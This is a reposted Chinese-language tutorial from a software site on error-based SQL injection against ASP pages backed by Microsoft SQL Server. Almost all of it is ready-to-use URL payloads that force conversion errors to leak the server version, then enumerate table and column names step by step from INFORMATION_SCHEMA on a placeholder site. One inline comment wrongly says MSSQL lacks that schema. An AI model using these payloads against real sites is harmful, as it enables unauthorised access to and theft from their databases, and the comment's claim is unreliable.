您的位置: 飞扬精品软件园 >> 文章中心 >> 安全防线 >> 安全防护 >> Microsoft OLE DB [sql injection][.asp]

相关文章链接

本类文章排行

最新新闻资讯

    Microsoft OLE DB [sql injection][.asp]

    Microsoft OLE DB [sql injection][.asp]


    • 阅览次数: 文章来源: 原文作者: 整理日期: 2010-05-22

    作者:rexus351
    邮箱:rexus351@yahoo.com
    翻译:UpFonT

    首先查看其os版本

    .asp?id=1 or 1=convert(int,(@@version)
    .asp?id=convert(int,(@@version))
    .asp?id=@@version

    第一步.查看os版本
    http://www.xxx.com/News.asp?ID=convert(int,(@@version))

    第二步.查看table name
    http://www.xxx.com/News.asp?ID=convert(int,(SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES)) // mssql好似没有这个默认数据库的,mysql才有的
    我们可以看到 'dtproperties' 表

    第三步.查看其它table name
    http://www.xxx.com/News.asp?ID=convert(int,(SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN
    ('dtproperties')))

    第四步.查看column names
    http://www.xxx.com/News.asp?ID=convert(int,(SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='dtp
    roperties'))

    以上步骤仅供参考,有不对的地方请指出


查看所有评论

网友对Microsoft OLE DB [sql injection][.asp]的评论

网名:
主题:
内容:
验证码: